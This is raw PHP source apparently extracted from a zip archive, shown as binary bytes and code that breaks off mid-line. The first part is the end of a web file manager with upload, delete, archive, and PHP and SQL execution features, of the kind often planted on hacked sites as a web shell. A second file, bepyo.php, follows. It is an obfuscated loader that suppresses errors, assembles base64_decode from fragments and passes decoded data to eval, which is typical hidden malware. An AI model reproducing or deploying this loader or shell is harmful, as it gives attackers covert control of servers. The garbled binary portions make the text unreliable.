        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<td>	
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK�Lm\o�e�*�*�	bepyo.phpnu�[���<?php


/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/    goto   ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto 